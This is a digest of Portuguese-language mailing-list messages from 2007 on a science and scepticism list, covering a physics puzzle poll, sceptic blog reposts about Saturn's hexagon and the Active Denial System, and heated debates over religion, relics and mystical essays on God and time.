SUBJECT: Re: [ciencialist] Balanço do avião
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 09/04/2007 22:51

José Carlos, volto a postar um e-mail questionando os listeiros sobre o
assunto.
[]s
JR
....................................

From: "José Renato" <jrma@To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, April 01, 2007 10:41 PM
Subject: [ciencialist] Balanço do avião


Será que numa próxima oportunidade, que voltar a discussão sobre o problema
do avião se deslocando sobre uma esteira, as pessoas vão pensar melhor a
questão ou vão continuar com as mesmas posições? No início havia confusão e
dúvidas. Depois que Luiz apresentou seu esquema, os indecisos se convenceram
que voa, Victor e Ricardo entre eles. Takata concluiu que depende. Luiz
ficou quieto. Victor e Ricardo calaram. Homero, não apegou-se a uma das
opões e fechou-se aos argumentos que apresentei em relação a uma outra
opção, até que desistiu... E o problema se esvaiu sem maiores conclusões
firmadas.
Qual seria o balanço das opiniões afinal?

1. Voa sim, com o dobro da velocidade da correia.

2. Voa sim, qualquer que seja a velocidade da correia

3. Não voa, qualquer que seja a velocidade da correia.

4. Voa ou não, dependendo do ponto de referência para a medição da
velocidade do avião: voa quando é medida em relação ao solo; não voa quando
é medida em relação à correia.

5. Nenhuma das respostas acima. (Para quem escolher essa opção, parece-me
importante indicar qual seria sua resposta.)

Abraços

José Renato



SUBJECT: O Grande Hexágono de Saturno
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 10/04/2007 07:58

O Grande Hex�gono de Saturno <http://www.ceticismoaberto.com/news/?p=860>

<http://www.nasa.gov/mission_pages/cassini/multimedia/pia09188.html>
A sonda espacial Cassini capturou novas imagens de um curioso hex�gono no
p�lo norte de Saturno, descoberto inicialmente pelas sondas Voyager no
in�cio dos anos 1980. � um aspecto embasbacante, j� que cada lado deste
hex�gono tem em torno de 13.800 quil�metros de tamanho, pouco maior que a
Terra � imagine seis planetas Terra alinhados neste hex�gono. O Grande
Hex�gono de Saturno est� em rota��o, e completa uma volta em pouco mais de
dez horas:

Embora fosse mais curioso, infelizmente n�o h� um outro hex�gono no p�lo sul
do planeta. Ser� mais um "Mist�rio Espacial Ins�l�vel"(r)? Cansados de terem
suas magn�ficas obras de engenharia igualadas a "desenhos nas nuvens", ou
pareidolia <http://skepdic.com/brazil/pareidolia.html>, teriam os
alien�genas decidido chutar o balde e criar literalmente desenhos nas nuvens
com dezenas de milhares de quil�metros de tamanho? Seria um marcador de que
Saturno � o sexto planeta a partir do Sol? Talvez, mas os cientistas
investigam antes hip�teses um pouco mais prosaicas, e no ano passado,
Richard Hendricks andou brincando com esp�cie de baldes e �gua em rota��o, e
publicou seu artigo cient�fico "Polygons on a Rotating Fluid
Surface<http://arxiv.org/PS_cache/physics/pdf/0511/0511251.pdf>"
(PDF). Voc� pode conferir imagens e mesmo um v�deo dos experimentos de
Hendricks clicando na foto abaixo:
<http://dcwww.fysik.dtu.dk/%7Etbohr/RotatingPolygon/>

"N�s relatamos uma nova e espetacular instabilidade da superf�cie de um
fluido em um sistema em rota��o. Em um fluxo movido por um fundo rotat�rio
de um cilindro estacion�rio parcialmente cheio, a forma da superf�cie livre
pode espontaneamente quebrar a simetria axial e assumir a forma de um
pol�gono em rota��o r�gida com uma velocidade diferente do fundo. Com �gua,
observamos pol�gonos de at� seis v�rtices", escreve Hendricks.

Saturno n�o � um cilindro com um fundo girat�rio, e seus gases n�o s�o
l�quidos, mas o trabalho de Hendricks mostra que fluidos rotat�rios podem
sim produzir pol�gonos regulares de forma espont�nea nas condi��es
adequadas. Como exatamente isto ocorre em Saturno parece assim um mist�rio
sol�vel atrav�s da explora��o espacial.
[via The Planetary Society
blog<http://www.planetary.org/blog/article/00000927/>,
do qual este post � um pl�gio, visto no Bad Astronomy
blog<http://www.badastronomy.com/bablog/2007/04/03/a-hex-on-saturn/>
]

Postado em Fortianismo <http://www.ceticismoaberto.com/news/?cat=4>,
Curiosidades <http://www.ceticismoaberto.com/news/?cat=7>,
Ci�ncia<http://www.ceticismoaberto.com/news/?cat=11>| Por Mori
Comente!
� <http://www.ceticismoaberto.com/news/?p=860#respond>

*Posts relacionados:*
- <$BlogItemSubject$>
<http://www.ceticismoaberto.com/news/?p=491>Dolores Barrios, a
venusiana de olhos profundos ...
- <$BlogItemSubject$> <http://www.ceticismoaberto.com/news/?p=616> O
que � isso? Tomada em 21 de fevereiro de 2005...
- P�-Grande Ninja <http://www.ceticismoaberto.com/news/?p=826> Muito �
feito sobre a perfei�&atild...
- <$BlogItemSubject$> <http://www.ceticismoaberto.com/news/?p=378> A
Grande Esfinge: Alinhamento C�smico Constru�...
- <$BlogItemSubject$>
<http://www.ceticismoaberto.com/news/?p=71>Alien em cemit�rio
Assombra��o de ET. O que v...


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Alienígena em conserva
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DATE: 10/04/2007 07:58

Alienígena em conserva <http://www.ceticismoaberto.com/news/?p=861>

<http://www.nodaya-net.com/alienjar.htm>Clique na imagem para comprar o seu,
por apenas 2800 ienes, algo em torno de R$50. Há muitos aliens em conserva à
venda, e um dos mais conhecidos é
este<http://www.halloweenplus.com/index.cfm?Page=products&Nav=products&Category=1800&Sub_Category=1865&Product_Number=VA351>,
embora alguns sejam dados como supostamente
autênticos<http://www.ceticismoaberto.com/news/?p=686>,
e alguns sejam tidos como
dragões<http://www.crawley-creatures.com/creatures/pickled.htm>.
Mas este em particular é divulgado aqui porque me lembrou de uma imagem
muito circulada nos primeiros anos da internet, associada à Área 51, em que
um se via um cilindro de vidro contendo um alien muito similar, com o rosto
distorcido pelo vidro de alguém ao fundo. Mais alguma pessoa se lembra desta
imagem e poderia resgatá-la do baú da memória ufológica?

Postado em Extraterrestres <http://www.ceticismoaberto.com/news/?cat=10> |
Por Mori Comente! » <http://www.ceticismoaberto.com/news/?p=861#respond>

*Posts relacionados:*
- ET em conserva <http://www.ceticismoaberto.com/news/?p=686>O inglês
Barney Broom encontrou um ET em con...
- <$BlogItemSubject$>
<http://www.ceticismoaberto.com/news/?p=604>Novas Perspectivas em
Fevereiro / 2005 CIENCIA ...


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Demonstração de Raio da Morte
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 10/04/2007 08:00

Demonstração de Raio da Morte <http://www.ceticismoaberto.com/news/?p=864>
Assista ao vídeo
<http://www.ceticismoaberto.com/news/?p=864>
<http://www.ceticismoaberto.com/news/?p=864>

Assista acima a um repórter ser zapeado com a mais nova do exército
americano. Não é realmente um raio da morte, de fato, é a nova estrela das
"armas não-letais", Active Denial
System<http://en.wikipedia.org/wiki/Active_Denial_System>.
Espécie de microondas gigante, emite radiação eletromagnética dirigida de 95
GHz, com um alcance de 500 metros, rapidamente esquentando a superfície da
pele da vítima a confortáveis 55 C. Confira mais vídeos e imagens no website
americano <https://www.jnlwp.com/ActiveDenialSystem.asp>.
Agora, o que a arma tem a ver com ufologia e paranormal? Muito, porque
supostas armas de raios invisíveis capazes de influenciar pessoas são parte
do folclore esotérico. Confira o caso de James Tilly
Mathews<http://www.ceticismoaberto.com/ciencia/tear_aereo.htm>e os
terríveis Deros
do Mistério Shaver <http://www.ceticismoaberto.com/ufologia/shaver.htm>.
[via Wired <http://blog.wired.com/defense/2007/04/video_pain_ray_.html>]

Postado em Fortianismo <http://www.ceticismoaberto.com/news/?cat=4>,
Curiosidades <http://www.ceticismoaberto.com/news/?cat=7>,
Parapsicologia<http://www.ceticismoaberto.com/news/?cat=8>,
Ciência <http://www.ceticismoaberto.com/news/?cat=11>,
Miscelânea<http://www.ceticismoaberto.com/news/?cat=13>| Por Mori
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SUBJECT: Re: [ciencialist] Origem do som usado para pedir silêncio
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 10/04/2007 09:26

On 4/9/07, Nando <nando.str@gmail.com> wrote:
> Aquele 'shhh' que todos fazem quando querem que seja feito silêncio...
> qual a origem desse som?
> Li em algum lugar (livro do Sagan, talvez) que seria uma imitação do
> chocalho de serpentes, de modo a incutir medo às criancinhas...
> Isso procede, alguém tem alguma fonte ou isso é só uma suposição?
>>>

Isso é mencionado pelo Sagan em "Os Dragões do Éden". Aparentemente o
som seria universal, em todas culturas se você sibilar, as pessoas
farão silêncio -- do que me lembro do livro.

É uma especulação, como a do Desmond Morris, de que os grandes peitos
das fêmeas humanas evoluíram para imitar sua bunda e chamar atenção
dos machos para a parte superior frontal das mulheres (ele também
oferece vários argumentos, como o de que os peitos fartos das mulheres
não fazem muito sentido porque chegam mesmo a dificultar a
amamentação).

Abraços,

Mori


SUBJECT: De Praeputio Domini Nostri Jesu Christi Diatriba
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <Acropolis_@yahoogrupos.com.br>, <Genismo@yahoogroups.com>, <ciencialist@yahoogrupos.com.br>
DATE: 10/04/2007 10:18

Pergunto aos biólogos de plantão, especialmente ao mestre Takata se é possível recuperar o DNA do alegado prepúcio de jesus.
Na possibilidade dessa pesquisa, por certo ficaria dispiníveis para os cientistas tanto a origem de deus que é mesmas pessoa que jesus e permitiria a busca de sua descendência entre os humanos atuais, missão bastante interessante. Não creio que seja nem o papa nem o dalai lama.
A ONU deveria requisitar a sagrada pele para que cientístas representando todos os povos deistas e uns 2 agnósticos, para fazer essa pesquiza que por certo traria novo alento a esse mundo conturbado.

sd.,

silvio
Guaita Slanista WROTE TO : Acrópolis.

Homero,
Pelo que eu entendo é que você espera um milagre acontecer em sua vida para poder acreditar em Deus e Jesus Cristo. Que milagres proferidos por outros não significam nada para você, que estas pessoas que acreditam terem ocorrido algum milagre em sua vida, que Deus fez uma obra em sua vida, não significam nada para você a não ser fazer piadas de péssimo gosto.







oraculo333 <oraculo@atibaia.com.br> a écrit :

Em homenagem a tão "relevante" assunto, a causa primeira e seus
desdobramentos religiosos, que segundo o Andre são importantíssimos e
relevantes para nossas vidas, posto este trecho da Wiki, sobre o
prepúcio de Jesus Cristo.

Estou procurando, para maior compreensão do assunto, e importante
trabalho De Praeputio Domini Nostri Jesu Christi Diatriba, que deve
ser aceito até hoje pela igreja, pois segundo ainda o Andre, esta não
muda, nem evolui, nem se ajusta a novas informações, envergonhada das
asneiras anteriores. Como o prepúcio divino foi declarado real e
verdadeiro pelo Papa Clemente VII, deve ser verdade.

Tergiversar, usar subterfúgios, criar um discurso complexo, e vazio,
sempre foi o esporte preferido de religiosos e crentes, e este post é
uma homenagem a tolice da "causa primeira", uma possibilidade sem
evidências tomada como "prova" da existência de uma entidade imaginária.

E, claro, totalmente irrelevante do ponto de vista ético, subjetivo,
moral, etc..:-)

É um texto divertido, digo, importante, não deixem de ler.

Homero

Prepúcio sagrado
Origem: Wikipédia

O Prepúcio sagrado (em Latim præputium) é uma das mais preciosas
relíquias cristãs relacionadas com figura de Jesus Cristo. Trata-se,
alegadamente e como o próprio nome indica, do prepúcio de Jesus
Cristo, retirado do seu corpo durante a circuncisão ritual a que o
povo judeu submete todos os seus rapazes. Por diversas vezes ao longo
da história, houve várias igrejas ou catedrais a reclamar a sua posse,
algumas ao mesmo tempo. Há vários milagres atribuídos a esta relíquia.

[editar] História e ocorrências

A primeira ocorrência conhecida do prepúcio sagrado aparece na Idade
Média na Abadia de Charroux em França, apresentada aos monges por
Carlos Magno, rei de França e Imperador do Sacro-Império. Segundo a
lenda, a relíquia foi entregue ao piedoso rei por um anjo, embora
outras versões reclamem a origem como um presente da Imperatriz Irene
de Bizâncio. No princípio do século XII, esta versão do prepúcio
sagrado foi levada para Roma e apresentada ao Papa Inocêncio III, a
quem foi pedido um veredito sobre a sua autenticidade. Com prudência,
Inocêncio recusou pronunciar-se. Já no século XVI, o seu sucessor
Clemente VII declarou que o prepúcio sagrado era uma relíquia
verdadeira e fruto do corpo de Jesus, concedendo indulgências aos
peregrinos que viessem prestar homenagem. Pouco tempo depois, em 1527,
durante o saque de Roma pelas tropas de Carlos V, Imperador do
Sacro-Império, surgiu nova prova de legitimidade. Os soldados
trouxeram uma rapariga virgem perante o relicário e, alegadamente, o
prepúcio exibiu as suas propriedades milagrosas ao aumentar de volume
de forma considerável. A dada altura a relíquia desapareceu até ser
encontrada em 1856 por um operário que trabalhava no restauro da Abadia.
Papa Clemente VII, que declarou a autenticidade do santo prepúcio
Papa Clemente VII, que declarou a autenticidade do santo prepúcio

Outra menção histórica e concorrente do prepúcio sagrado pertence à
Abadia de Coulombs da diocese de Chartres em França. Esta relíquia
teve um papel importante na vida da princesa de França Catarina de
Valois, então casada com o rei Henrique V de Inglaterra. Estando
grávida pela primeira vez em 1421, e certamente ansiosa, a princesa
mandou buscar o relicário para encontrar conforto espiritual. Dizia-se
então que as emanações sagradas da relíquia garantiam um parto indolor
e prometiam saúde de mãe e filho. Henrique VI de Inglaterra veio ao
mundo sob esta influência milagrosa.

O prepúcio apareceu também, mas de forma alegórica, nos sonhos de
Santa Catarina de Siena. Nas suas visões místicas, a santa casava com
Jesus Cristo que lhe oferecia como aliança matrimonial o precioso objecto.

Durante os séculos XVII e XVIII, o prepúcio continuou a estimular
imaginações e a originar tratados. O teólogo Leo Allatius dedicou-lhe
a extensa obra De Praeputio Domini Nostri Jesu Christi Diatriba
("Discussão Sobre o Prepúcio de Nosso Senhor Jesus Cristo"), onde,
entre outras coisas, especulou sobre a possibilidade do prepúcio ter
ascendido com Jesus ao céu. Na sua piedade, Allautius sugeriu que a
relíquia já não se encontrava entre os fiéis porque se havia
transformado nos recém descobertos anéis do planeta Saturno. Num
espírito de todo diferente, Voltaire, no seu Tratado sobre a
Tolerância de 1763 refere com ironia que a veneração do prepúcio
sagrado era uma prática muito mais razoável que a detestar e perseguir
o próximo ([1]).

São conhecidos outros verdadeiros prepúcios sagrados reclamados em
dada altura pelas catedrais de Puy-en-Velay, Santiago de Compostela,
Antuérpia, Besançon, Metz, Hildesheim, e Calcata. A versão do prepúcio
pertencente a esta última foi exibida perante os fiéis numa procissão
anual até 1983, quando o precioso relicário e seu sagrado conteúdo
foram roubados desta igreja italiana.

[editar] Considerações teológicas e científicas

Na crença ortodoxa cristã, no fim da sua vida na Terra e depois da
crucificação Jesus Cristo ascendeu fisicamente (por oposição a uma
alegoria) ao céu. Segundo esta visão o prepúcio sagrado, se real,
representa portanto o seu único vestígio terrestre. Este facto
levantou perplexidade nos teólogos cristãos da Idade Média, uma vez
que se Jesus tinha deixado este vestígio nunca poderia ter ascendido
ao céu por inteiro. Aparentemente esta questão foi objecto de muito
estudo e resultou na publicação de alguns tratados, que acordaram que
a natureza do prepúcio devia ser comparada à dos cabelos e unhas que
Jesus foi cortando ao longo da sua vida. Na actualidade, levanta a
interessante possibilidade de clonagem a partir de eventual DNA
contido na relíquia.

Para não mencionar as questões evidentes que a conservação de uma
porção de pele com cerca de 2000 anos representa, a objecção mais
capaz à veracidade do prepúcio sagrado é de ordem histórica. A prática
da circuncisão nas comunidades judaicas só se tornou universal na
época da grande revolta liderada por Simon bar Kokhba entre 132 e 135,
isto é um século depois da crucificação. É portanto possível e até
provável que Jesus Cristo não tenha sido circuncidado de todo.

Ao longo do século XX, com advento da tecnologia científica e do
respectivo espírito crítico que esta acarreta, a Igreja Católica
distanciou-se do culto das relíquias em geral, incluíndo o prepúcio
sagrado. Em comunicações oficiais o Vaticano exprimiu a opinião de que
o prepúcio não se trata de mais que uma lenda de devotos, que no
entanto deverá ser respeitada.

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SUBJECT: Re: [ciencialist] O Pão Nosso de Cada Dia ::: (sobre onipresença)
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 10/04/2007 10:36

Ferrari:
Ler seus textos é algo notável no grupo: eu me sinto cidadão de macondo visitanto seu mundo mágico.

um abraço,

silvio.
----- Original Message -----
From: Ferrari
To: ciencialist@yahoogrupos.com.br
Sent: Thursday, April 05, 2007 3:20 PM
Subject: [ciencialist] O Pão Nosso de Cada Dia ::: (sobre onipresença)


O PÃO NOSSO DE CADA DIA
http://lampadadealadim.blogspot.com

(sobre onipresença)

O químico Lavoisier, ao estudar o comportamento da
natureza, chegou numa conclusão que é conhecida assim:
"nada se perde, tudo se transforma". Quando abrimos os
olhos e a vida começa a dançar em nossas retinas, fica
evidente que tudo está mesmo em constante
transformação. O gelo está se transformando em água, a
água está se transformando em vapor, o vapor está se
transformando em água de novo. Cada instante que
pegamos na mão, está se transformando junto com a
própria mão. E mais incrível! Todos os eventos da
existência acontecem simultaneamente.

Observamos tudo acontecendo simultaneamente e temos a
sensação de que Lavoisier estava equivocado. Pensamos
assim: tudo se perde sim! Cadê o gelo que estava aqui?
Cadê a água que evaporou? Cadê a flor que morreu? Cadê
a eletricidade que animou o ventilador? Cadê o que era
doce e se acabou? Cadê o presente que virou passado?
Onde está agora? A resposta de Lavoisier é muito
simples: Tudo sempre está onde sempre está, onde nunca
deixa de estar e onde sempre estará:

TUDO ESTÁ SEMPRE EM TUDO.

Vamos voltar a primeira afirmação de Lavoisier: "Tudo
se transforma". Pois bem, Tudo está em constante
transformação (mudança formal), porém, o fato do Tudo
estar sempre mudando de forma, não faz com que Tudo
deixe de ser sempre o mesmo conteúdo: Tudo. Ou seja,
Tudo é sempre tudo, eternamente tudo, porém, nunca da
mesma forma, pois Tudo é: UM mutante.

É TUDO NOVO DE NOVO.

Se entendermos que Tudo é uma forma coloquial de dizer
Matéria Universal, a resposta da pergunta "cadê o
presente que virou passado?", fica assim: o presente
que virou passado está onde sempre está, onde nunca
deixa de estar e onde sempre estará: aqui e agora. Ou
seja, na matéria universal. Sendo assim, cabe aqui e
agora uma definição: o que é matéria universal?

MATÉRIA UNIVERSAL É A SUBSTANCIA UNIVERSAL DO SER
UNIVERSAL. É O CORPO ONIPRESENTE DA ETERNIDADE. É O
CÉREBRO DE DEUS.

A matéria universal é a massa cinzenta do ser
universal (deus), é seu cérebro. Na semantica cristã:
ela é a massa do pão nosso de cada dia. Ou seja, é a
substancia eterna e onipresente que entra e sai de
instante em instante da fôrma do tempo. Como veremos
nos próximos capítulos, deus é mesmo três: a massa do
pão, o padeiro e a fôrma (onipresença, onipotencia e
oniciencia). Prossigamos...

TRANSFORMAÇÃO É A EVOLUÇÃO (ATUALIZAÇÃO) DA FORMA.

Faltou Lavoisier dizer que existe sim algo que se
perde com a transformação: a forma temporal. A forma
flor, a forma gelo, a forma vento, enfim, toda forma
presente perece para que uma versão atualizada da
mesma possa tomar seu lugar na tela do tempo. Este
outro aspecto do fenômeno da transformação da matéria,
foi observado e estudado pelo famoso biólogo e
botânico Darwin, que lhe atribuiu o nome de "teoria da
evolução natural". Talvez "perder" não seja a palavra
mais adequada para o fenômeno da evolução natural,
mas, por enquanto, é o suficiente pra prosseguirmos.

EU SOU O PRINCIPIO, O FIM E O MEIO.

Dizer que a matéria é o cérebro de deus, se assemelha
ao discurso da mecânica quântica sobre
"possibilidades". Ora, o que é a eternidade senão a
matriz de todas as possibilidades? Sendo assim, se a
matéria universal é eterna, e se nós somos feitos
desta matéria, logo, podemos concluir que nossa
essência é eterna também. Ou seja, assim como uma onda
não é um pedaço do mar, mas uma observação (recortada)
do mar indivisível. Assim como um personagem em um
filme não é um pedaço do filme, mas uma observação
(recortada) do filme indivisível. Nós somos o corpo
indivisível da eternidade, inteiro, não um pedaço
dela. O único problema é que nós não temos consciência
desta nossa essência indivisível ainda, então: vamos
por partes.

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SUBJECT: Deus Não Joga Dados ::: (sobre onisciência )?=
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: emailferrari@yahoo.com.br
DATE: 10/04/2007 11:07

DEUS NÃO JOGA DADOS
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(sobre onisciência)

“Se há um poder controlador fora do universo, este não
pode apresentar-se a nós como um dos fatos que fazem
parte do universo — assim como o arquiteto de uma casa
não é, de fato, uma das paredes, ou a escada, ou a
lareira dessa casa.” (C. S. Lewis)

Imagine se você acordasse cedo para assistir a rotina.
Isto mesmo! Imagine se os telejornais de cada emissora
cobrissem com entusiasmo a rotina. Se iniciassem suas
transmissões assim: "Bom dia, a rotina está
acontecendo de novo: o dia está nascendo!". Heráclito
não quis reconhecer a rotina, ele disse: “não se pode
pisar duas vezes num mesmo rio”. Numa visão
materialista, Heráclito estava certo, porém, ele
esqueceu de dizer que embora o rio não seja exatamente
o mesmo, nem por isto ele deixa de ser-rio para
ser-borboleta. Nunca mais haverá um rio igual aquele
em que Heráclito pisou ontem, contudo, rios são sempre
rios, borboletas são sempre borboletas, laranjas são
sempre laranjas, azul é sempre azul, doce é sempre
doce, triângulos são sempre triângulos e etc.
Infelizmente nos tornamos tão habituados com a rotina
da existência, ou seja, com o ciclo do “sempre”, que
deixamos de perceber que a forma se processa através
de uma inteligência eterna: a transFORMAção. Einstein,
provavelmente assobrado com isto, disse o seguinte:
“Só existem duas maneiras de ver a vida, uma é pensar
que não existem milagres, outra é pensar que tudo é um
milagre.” Coloquialmente chamamos este milagre de
“tempo”. Sendo assim, cabe aqui e agora outra
definição: o que é tempo?

TEMPO É O COMPORTAMENTO UNIVERSAL DO SER UNIVERSAL. É
A INTELIGÊNCIA ONIPRESENTE. É O PROCESSAMENTO DA
ETERNIDADE. É O PENSAMENTO DE DEUS.

“O místico crê num deus desconhecido. O pensador e o
cientista crêem numa ordem desconhecida. É difícil
dizer qual deles se supera em sua devoção irracional.”
(L. L. Whyte)

Basta olhar para perfeição temporal dos eventos da
vida para perceber que o comportamento do universo não
é um jogo de dados, coleção de acasos, nem um carro
desgovernado. Pelo contrário, cada processo na
natureza acontece numa seqüência perfeita, como se
fosse um trem visível seguindo um trilho invisível.
Por exemplo, pra chover, primeiro acontece o processo
de evaporação. Depois acontece o processo da subida do
vapor. Depois acontece o processo do resfriamento.
Depois acontece o processo da condensação. Só, então,
acontece o processo da chuva. Nenhuma dessas etapas
podem ser antes nem depois do momento exato, caso
contrário, o evento da chuva se torna impossível. É
espantoso isto, não é?

“No oriente vemos deus como uma dança e um dançarino.
Não se pode separar a dança do dançarino. Se o
dançarino pára, a dança acaba. Se a dança pára, a
pessoa não é mais um dançarino. Dança e dançarinos só
existem juntos.” (Osho)

Uma existência sem ordem é uma existência caótica. Ou
seja, que existe por acaso. Mas caos (acaso) não é uma
“ordem”, caos é o desconhecimento do ordem. Caos não
existe. Ande pela casa no escuro, é um caos. Acenda a
luz, o caos acaba. A realidade mudou? Não. Para onde
foi o caos que estava ali? Pra lugar nenhum, ele nunca
existiu, o que existia era o desconhecimento da ordem.
A falta de percepção. O cosmos é cosmos, é ordem. O
caos é o desconhecimento do cosmos, o desconhecimento
da ordem, só isto. Nada é por acaso. Não pode ser. Se
a vida fosse caótica, as formas-vivas não teria como
se repetirem, nem como evoluírem. Toda e qualquer
seqüência cíclica seria impossível.

Você acredita que existe por acaso? Que nasceu por
acaso? E que vai morrer por acaso? Claro que sim! Você
desconhece a ordem que lhe cria e lhe mantém aqui e
agora. Mas você não sabe (ainda). Percebe como o caos
é temporal? Chegará um momento em que você irá
reconhecer esta ordem. E o fato de você não saber
(ainda) não significa que você existe por acaso,
significa apenas desconhecimento momentâneo. O caos é
sempre assim: relativo (ao observador) e temporário.
Ou seja, o caos só se faz presente (na mente do
observador) até que chegue o momento em que a ordem
(que sempre está aqui e agora) lhe é revelada pela
razão ou pela observação.

Pense no movimento dos astros quando se acreditava que
a terra era o centro do universo. Na visão geocêntrica
os planetas davam pulos, faziam zigzag, etc. Era um
caos. Veio Galileu com a visão heliocêntrica e mostrou
que a ordem sempre esteve lá, mas que ninguém via com
o tapa-olho geocêntrico. Analogamente é isto que
acontece quando se tem uma visão materialista da
evolução. O caos (acaso) só é argumento porque se olha
para o universo com o tapa-olho do materialismo. Se
olharmos para a evolução sem este tapa-olho, vemos que
a evolução é perfeitamente organizada e regida pela
lei do tempo.

ASSIM COMO É A GARRAFA QUE DÁ FORMA AO LIQUIDO E NÃO O
LIQUIDO QUE DÁ FORMA A GARRAFA, É O TEMPO QUE DÁ FORMA
A MATÉRIA E NÃO A MATÉRIA QUE DÁ FORMA AO TEMPO.

Mas enfim, deus joga dados ou não joga? Ora, deus pode
até jogar dados, quantas vezes quiser, porém, sendo
ele mesmo o responsável pela existência da forma-dado
e pela inteligência que regem sua transformação
(evolução temporal), deus sabe eternamente (antes,
durante e depois) o resultado do jogo. Ou seja, para
deus, jogar dados é como um computador jogar uma
partida de xadrez contra si mesmo. Para um jogador que
não seja deus, o mesmo atributo é impossível, e isto
explica porque a previsão do tempo é tão falha.

“O tempo é a imagem móvel da eternidade imóvel.”
(Platão)

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SUBJECT: Re: Homero: Questão de Ordem - Direito de Defesa
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 10/04/2007 11:32

Olá Homero!

Homero >>> Apenas para constar, e para ajuda-lo a
decidir que rumo tomar.

--- Homero, o sábio, calejado e ilustre Paulinho da
Viola diz o seguinte: "Não sou eu quem me navega, quem
me navega é o mar". Canto o mesmo refrão junto com
Paulinho. Como disse ao murilo, qualquer lugar que se
chega é apenas um lugar qualquer. Esta compreenção é o
unico lugar onde se pode chegar. O resto é navegar.
Estamos no mesmo barco, quer vc queira, quer não. Ser
útil, dentro deste barco, não é ajudar ninguém a
chegar a lua, ou construir carros de hidrogenio. Que
utilidade tem isto frente a inevitável morte? Tudo
vira bosta, lembra? Ser util, dentro deste barco, é
compreender a ilusão do materialismo, é compreender
que tudo vira bosta, mas o processo de "virar" é
eterno. Eis o moto-continuo. Abre logo a carta,
Homero, ou vc quer virar bosta junto com a carta?

Homero >>> eu acho suas participações totalmente
inúteis, em termos de ciência.

--- Faz todo sentido vc achar isto, a visão que vc tem
de ciencia é totalmente materialista.

Homero >>> E, sim, fica parecendo dogmatismo e
cegueira religiosa, teológica, e irracional.

--- Este é seu ponto de vista, Homero. Respeito. Mas
não concordo com ele. Olhando do meu ponto de vista,
não-materialista, o dogmático é você.


sinceramente
ferrari






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SUBJECT: Re: Takata: Sobre o Método Cientifico - Mapa e Território
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 10/04/2007 11:38

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> Takata >>> Deep Blue?
>
> --- Pensei que conhecia. Este era o nome do computador
> da IBM que venceu o Kasparov no xadrez.

Conheço o Deep Blue, mas de True Blue nunca ouvi falar.

> Takata >>> Especialmente de opiniões em uma área q,
> por acaso, vem a ser a em q eu trabalho.
>
> --- Que área vc trabalha?

Área científica. Biologia.

> Takata >>> Minha intenção em debater a questão do mapa
> e do território com voce é ... Mostrar como vc está
> equivocado a respeito das ciências
>
> --- Porque diz isto? Com base em que?

Ué, é o q eu venho falando nas mensagens anteriores. O q o levou a
reclamar do xeque-mate qdo usei o seu estilo argumentativo "contra" vc.

> Takata >>> e como a sua visão de realidade é
> inconsistente.
>
> --- E qual é minha visão da realidade?

A q vc vem expondo, sobre mapas mentais.

> --- Porque vc defende a idéia de q deuses e divindades
> são conceitos q devem ser mantidos longe do discurso
> sobre ciências? Suponho que vc deve ter algum motivo
> para fazer isto?

É o q venho fazendo ao longo das mensagens. O motivo é: não presta.
Toda vez q meteram divindades no meio das ciências a coisa
desengrenou. Seguramente tb não se deve fazer o oposto - meter ciência
no meio das religiões.

[]s,

Roberto Takata



SUBJECT: frase de Aristóteles.
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <politicab@yahoogrupos.com.br>, <redeliberal@yahoogrupos.com.br>, <Conversa_de_Botequim@yahoogrupos.com.br>, <ciencialist@yahoogrupos.com.br>, <brasil-politica@grupos.com.br>, <artedepensar@yahoogrupos.com.br>, <Acropolis_@yahoogrupos.com.br>
DATE: 10/04/2007 11:46


"Es ignorancia no saber distinguir entre lo que necesita demostración y lo que no la necesita."


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Finalmente, Ferrari - : Sobre o Método Cientifico - Mapa e Território
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 10/04/2007 12:59

Olá Ferrari

Ferrari: "Porque vc defende a idéia de q deuses e divindades
> são conceitos q devem ser mantidos longe do discurso
> sobre ciências? Suponho que vc deve ter algum motivo
> para fazer isto? E, principelamente, deve ter um
> motivo pra que todos os cientistas aceitem e
> compartilhem da sua idéia."

Putz, putz, putz, e como diria o grande filosofo Chaves: Isso, isso,
issso (funciona melhor se bater os dedos em frente ao rosto..:-)

Está quase lá Ferrari, deve haver um motivo para TODOS os cientistas
do mundo discordarem de você, veementemente!..:-)

Se entender isso, para de escrever absurdos e maluquices.

E a resposta é simples, porque FUNCIONA! É eficaz, deixar deuses e
divindades de FORA da ciência, e NÃO FUNCIONA tentar colocar esses
seres imaginários na compreensão do universo.

Acredite, já tentamos, por MILHARES de anos usar deuses e divindades,
as mais malucas e absurdas que nossa mente pode criar, para explicar o
mundo, e NUNCA funcionou.

Mas desde que estes foram deixados de fora, como IRRELEVANTES, irreais
ou sem evidências para se considerar, TUDO mudou, e você hoje pode
escrever umas mensagens sem sentido em um sistema de comunicação
mundial, com expectativa de vida de mais de 80 anos, com poucas
